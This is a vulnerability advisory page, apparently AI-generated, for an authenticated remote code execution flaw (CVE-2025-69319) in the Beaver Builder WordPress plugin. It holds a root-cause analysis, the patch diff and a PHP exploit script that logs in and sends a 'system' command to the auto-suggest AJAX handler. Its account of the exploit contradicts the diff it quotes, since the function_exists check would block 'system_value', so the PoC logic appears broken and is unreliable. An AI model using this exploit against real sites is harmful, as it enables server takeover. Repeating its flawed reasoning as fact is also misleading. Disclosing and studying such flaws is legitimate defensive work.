Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69319: Beaver Builder <= 2.9.4.1 – Authenticated (Contributor+) Remote Code Execution (beaver-builder-lite-version)

Severity High (CVSS 8.8)
CWE 94
Vulnerable Version 2.9.4.1
Patched Version 2.9.4.2
Disclosed January 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69319:
This vulnerability is an authenticated remote code execution flaw in the Beaver Builder plugin for WordPress. The vulnerability resides in the auto-suggest AJAX handler, allowing Contributor-level users and above to call arbitrary PHP functions on the server, leading to code execution. The CVSS score of 8.8 reflects the high impact of this flaw.

The root cause is an insecure dynamic function call in the `fl_builder_auto_suggest` AJAX handler. The vulnerable code is in the file `beaver-builder-lite-version/classes/class-fl-builder-auto-suggest.php`. The `ajax_action` method (line 68) receives an `$action` parameter from the user. Before the patch, the code checked if a function named `{$action}_value` existed and then called it via `call_user_func_array`. This allowed an attacker to control the function prefix, leading to the execution of arbitrary internal PHP functions.

Exploitation requires an authenticated user with at least Contributor privileges. The attacker sends a POST request to the WordPress `admin-ajax.php` endpoint with the action parameter set to `fl_builder_auto_suggest`. The `fl_as_action` POST parameter controls the `$action` variable passed to the vulnerable method. By setting `fl_as_action` to a value like `system`, the code checks for `system_value`. If that function does not exist, the default case triggers, and the code calls `call_user_func_array(‘system_value’, …)`. The `$value` parameter, also attacker-controlled, is passed as the first argument to the dynamically constructed function, enabling command execution.

The patch adds a validation check to restrict which functions can be called. The fix modifies line 68 of `class-fl-builder-auto-suggest.php`. It adds a condition requiring the `$action` string to start with the prefix `fl_as_` before checking for the function’s existence. This change ensures only intended plugin functions can be invoked. The patch also includes a polyfill for the `str_starts_with` function for PHP versions below 8.0, added in `includes/compatibility.php`.

Successful exploitation grants an attacker the ability to execute arbitrary operating system commands on the underlying server with the privileges of the web server process. This can lead to full server compromise, data exfiltration, malware deployment, and the creation of persistent backdoors. The requirement for Contributor authentication lowers the attack barrier compared to an admin-only flaw.

Differential between vulnerable and patched code

Code Diff
--- a/beaver-builder-lite-version/classes/class-fl-builder-auto-suggest.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-auto-suggest.php
@@ -68,7 +68,7 @@
 				break;

 			default:
-				if ( function_exists( $action . '_value' ) ) {
+				if ( str_starts_with( $action, 'fl_as_' ) && function_exists( $action . '_value' ) ) {
 					$data = call_user_func_array( $action . '_value', array( $value, $data ) );
 				}

--- a/beaver-builder-lite-version/classes/class-fl-builder-loader.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-loader.php
@@ -48,7 +48,7 @@
 		 * @return void
 		 */
 		static private function define_constants() {
-			define( 'FL_BUILDER_VERSION', '2.9.4.1' );
+			define( 'FL_BUILDER_VERSION', '2.9.4.2' );
 			define( 'FL_BUILDER_FILE', trailingslashit( dirname( __DIR__, 1 ) ) . 'fl-builder.php' );
 			define( 'FL_BUILDER_DIR', plugin_dir_path( FL_BUILDER_FILE ) );
 			define( 'FL_BUILDER_URL', esc_url( plugins_url( '/', FL_BUILDER_FILE ) ) );
--- a/beaver-builder-lite-version/classes/class-fl-builder-model.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-model.php
@@ -5498,6 +5498,15 @@
 		$published        = self::get_layout_data( 'published', $original_post_id );
 		$draft            = self::get_layout_data( 'draft', $original_post_id );

+		$orig_post = get_post( $original_post_id );
+		$new_post  = get_post( $new_post_id );
+
+		if ( $orig_post->post_author !== $new_post->post_author ) {
+			wp_die( false, false, array( 'response' => 403 ) );
+		}
+
+		check_admin_referer( 'fl_wpml_duplicate_clicked' );
+
 		$response = array(
 			'enabled'    => false,
 			'has_layout' => false,
--- a/beaver-builder-lite-version/classes/class-fl-builder-wpml.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-wpml.php
@@ -20,6 +20,12 @@
 		add_filter( 'fl_builder_node_template_post_id', __CLASS__ . '::filter_node_template_post_id' );
 		add_filter( 'fl_builder_parent_template_node_id', __CLASS__ . '::filter_parent_template_node_id', 10, 3 );
 		add_filter( 'option_fl_site_url', __CLASS__ . '::fix_url_check' );
+
+		add_action( 'admin_enqueue_scripts', function () {
+			wp_localize_script( 'fl-builder-admin-posts', 'fl_wpml_vars', array(
+				'nonce' => wp_create_nonce( 'fl_wpml_duplicate_clicked' ),
+			) );
+		}, 11 );
 	}

 	/**
--- a/beaver-builder-lite-version/fl-builder.php
+++ b/beaver-builder-lite-version/fl-builder.php
@@ -3,7 +3,7 @@
  * Plugin Name: Beaver Builder Plugin (Lite Version)
  * Plugin URI: https://www.wpbeaverbuilder.com/?utm_medium=bb&utm_source=plugins-admin-page&utm_campaign=plugins-admin-uri
  * Description: A drag and drop frontend WordPress page builder plugin that works with almost any theme!
- * Version: 2.9.4.1
+ * Version: 2.9.4.2
  * Author: The Beaver Builder Team
  * Author URI: https://www.wpbeaverbuilder.com/?utm_medium=bb&utm_source=plugins-admin-page&utm_campaign=plugins-admin-author
  * Copyright: (c) 2014 Beaver Builder
--- a/beaver-builder-lite-version/includes/compatibility.php
+++ b/beaver-builder-lite-version/includes/compatibility.php
@@ -387,3 +387,25 @@
 		}
 	}
 }
+
+if ( ! function_exists( 'str_starts_with' ) ) {
+	/**
+	 * Polyfill for `str_starts_with()` function added in PHP 8.0.
+	 *
+	 * Performs a case-sensitive check indicating if
+	 * the haystack begins with needle.
+	 *
+	 * @since 5.9.0
+	 *
+	 * @param string $haystack The string to search in.
+	 * @param string $needle   The substring to search for in the `$haystack`.
+	 * @return bool True if `$haystack` starts with `$needle`, otherwise false.
+	 */
+	function str_starts_with( $haystack, $needle ) {
+		if ( '' === $needle ) {
+			return true;
+		}
+
+		return 0 === strpos( $haystack, $needle );
+	}
+}
--- a/beaver-builder-lite-version/includes/updater-config.php
+++ b/beaver-builder-lite-version/includes/updater-config.php
@@ -3,7 +3,7 @@
 if ( class_exists( 'FLUpdater' ) ) {
 	FLUpdater::add_product(array(
 		'name'    => 'Beaver Builder Plugin (Lite Version)',
-		'version' => '2.9.4.1',
+		'version' => '2.9.4.2',
 		'slug'    => 'bb-plugin',
 		'type'    => 'plugin',
 	));

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69319 - Beaver Builder <= 2.9.4.1 - Authenticated (Contributor+) Remote Code Execution
<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username   = 'contributor_user';
$password   = 'contributor_password';
$command    = 'id'; // Command to execute on the target server

// Step 1: Authenticate to WordPress to obtain a valid session cookie
$login_url = $target_url . '/wp-login.php';
$ajax_url  = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Exploit the vulnerable auto-suggest AJAX endpoint
// The 'action' parameter for admin-ajax.php must be 'fl_builder_auto_suggest'.
// The 'fl_as_action' POST parameter controls the dynamic function call.
// The 'fl_as_value' POST parameter is passed as the first argument to the function.
$post_data = array(
    'action' => 'fl_builder_auto_suggest',
    'fl_as_action' => 'system', // This will attempt to call 'system_value'
    'fl_as_value' => $command,
    'fl_as_data' => '' // Additional data parameter, often empty
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);

// The response may contain the output of the executed command
echo "Response:n";
echo $response;

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School